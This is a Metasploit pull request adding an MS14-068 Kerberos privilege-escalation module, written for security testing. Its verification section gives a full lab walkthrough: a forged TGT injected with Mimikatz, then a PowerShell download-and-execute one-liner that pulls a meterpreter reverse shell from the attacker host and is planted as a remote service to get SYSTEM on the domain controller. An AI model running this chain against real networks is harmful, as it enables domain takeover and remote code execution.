rapid7/metasploit-framework — pull request #4456 by jvazquez-r7 (2014-12-23 00:08:30+00:00)
Title: Adds Auxiliary module for MS14-068...

... plus the kerberos support needed on Rex and module mixin. The kerberos support isn't complete, but it's good enough to exploit ms14-068. So hopefully it's good enough for PR.

Verification

- [ ] Be sure travis is green
- [ ] Run specs locally, they should pass

```
$ rspec spec/lib/msf/kerberos/
Msf::Kerberos::Client::Base ............
Msf::Kerberos::Client::AsResponse ........
Msf::Kerberos::Client::AsRequest ..........
Msf::Kerberos::Client::TgsResponse ...
Msf::Kerberos::Client::CacheCredential ....................
Msf::Kerberos::Client::TgsRequest .........................
Msf::Kerberos::Client::Pac ...............

Finished in 0.25268 seconds
93 examples, 0 failures

Randomized with seed 51708

$ rspec spec/lib/rex/proto/kerberos/
Rex::Proto::Kerberos::Model::EncryptedData ........
Rex::Proto::Kerberos::Model::PrincipalName ........
Rex::Proto::Kerberos::Pac::LogonInfo .
Rex::Proto::Kerberos::Model::EncKdcResponse ............
Rex::Proto::Kerberos::CredentialCache::Credential .
Rex::Proto::Kerberos::Pac::Type .
Rex::Proto::Kerberos::Pac::ServerChecksum .
Rex::Proto::Kerberos::Pac::ClientInfo .
Rex::Proto::Kerberos::Model::KdcRequestBody ........................
Rex::Proto::Kerberos::CredentialCache::Principal .
Rex::Proto::Kerberos::Model::ApReq .
Rex::Proto::Kerberos::Client .....
Rex::Proto::Kerberos::Model::AuthorizationData ..
Rex::Proto::Kerberos::CredentialCache::Time .
Rex::Proto::Kerberos::CredentialCache::Cache .
Rex::Proto::Kerberos::Model::PreAuthPacRequest ...
Rex::Proto::Kerberos::Model::Authenticator .
Rex::Proto::Kerberos::Model::Checksum .
Rex::Proto::Kerberos::Model::KdcRequest ................
Rex::Proto::Kerberos::Pac::PrivSvrChecksum .
Rex::Proto::Kerberos::Model::KrbError ...............
Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp ......
Rex::Proto::Kerberos::Model::KdcResponse ......
Rex::Proto::Kerberos::Model::Ticket ......
Rex::Proto::Kerberos::Model::PreAuthData ........

Finished in 0.1104 seconds
131 examples, 0 failures

Randomized with seed 51004
```

- [ ] Install a vulnerable Windows domain using a Windows 2008 domain controller
- [ ] Run the module against the DC to retrieve a TGT ticket exported in a MIT Credential cache format

```
msf > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
msf auxiliary(ms14_068_kerberos_checksum) > set rhost 172.16.158.135
rhost => 172.16.158.135
msf auxiliary(ms14_068_kerberos_checksum) > run

[*] 172.16.158.135:88 - Connecting with the KDC...
[*] 172.16.158.135:88 - Sending AS-REQ...
[*] 172.16.158.135:88 - Parsing AS-REP...
[*] 172.16.158.135:88 - Sending TGS-REQ...
[+] 172.16.158.135:88 - Valid TGS-Response, extracting credentials...
[+] 172.16.158.135:88 - MIT Credential Cache saved on /Users/jvazquez/.msf4/loot/20141222175751_default_172.16.158.135_windows.kerberos_452461.bin
[*] Auxiliary module execution completed
```

- [ ] Import the MIT Credential cache with Mimikatz, the meterpreter extension doesn't support MIT CC format atm, but it can be converted trivially with mimikatz. For testing purposes, you can use mimikatz directly on the target system to import the ticket from the MIT CC:

```
kerberos::ptc "20141222175751_default_172.16.158.135_windows.kerberos_452461.bin" /export
Principal : (01) : juan ; @ DEMO.LOCAL

Data 0
Start/End/MaxRenew: 12/23/2014 12:57:51 AM ; 12/23/2014 10:57:51 AM
12/30/2014 12:57:51 AM
Service Name (01) : krbtgt ; DEMO.LOCAL ; @ DEMO.LOCAL
Target Name (01) : krbtgt ; DEMO.LOCAL ; @ DEMO.LOCAL
Client Name (01) : juan ; @ DEMO.LOCAL
Flags 00000000 :
Session Key : 0x00000017 - rc4_hmac_nt
8cece387b84ca18a87a7b447f154fb71
Ticket : 0x00000000 - null ; kvno = 2
[...]
* Injecting ticket : OK
```

- [ ] After importing the MIT CC feel free to test your new privileges. For example, connect to a shared resource only available for Domain Administrators from the target.

Also you can get privileged sessions in the domain. Several methods have been already discussed (see module references). For example:

```
msf exploit(web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 172.16.158.1 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion TLS1 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (accepted: seh, thread, process, none)
LHOST 172.16.158.1 yes The listen address
LPORT 4445 yes The listen port

Exploit target:

Id Name
-- ----
2 PSH

msf exploit(web_delivery) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.158.1:4445
msf exploit(web_delivery) > [*] Using URL: http://172.16.158.1:8080/
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://172.16.158.1:8080/'))

msf exploit(web_delivery) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 DEMO\juan @ EXPLOITER 172.16.158.1:4444 -> 172.16.158.131:64611 (172.16.158.131)

msf exploit(web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1936 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\juan\Desktop>sc \\WIN-F46QAN3U3UH.demo.local\ create psh_test binPath= "cmd.exe /c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://172.16.158.1:8080/'))"
sc \\WIN-F46QAN3U3UH.demo.local\ create psh_test binPath= "cmd.exe /c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://172.16.158.1:8080/'))"
[SC] CreateService SUCCESS

C:\Users\juan\Desktop>sc \\WIN-F46QAN3U3UH.demo.local\ start psh_test
sc \\WIN-F46QAN3U3UH.demo.local\ start psh_test
^Z
Background channel 2? [y/N] y
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 3220 created.
Channel 3 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\juan\Desktop>
[*] 172.16.158.135 web_delivery - Delivering Payload
[*] Sending stage (770048 bytes) to 172.16.158.135

C:\Users\juan\Desktop>se^R

C:\Users\juan\Desktop>^Z
Background channel 3? [y/N] y
[-] Error running command shell: ThreadError can't be called from trap context
meterpreter > sessions
[-] Unknown command: sessions.
meterpreter > background
[*] Backgrounding session 1...
msf exploit(web_delivery) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 DEMO\juan @ EXPLOITER 172.16.158.1:4444 -> 172.16.158.131:64611 (172.16.158.131)
2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN-F46QAN3U3UH 172.16.158.1:4445 -> 172.16.158.135:59025 (172.16.158.135)

msf exploit(web_delivery) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```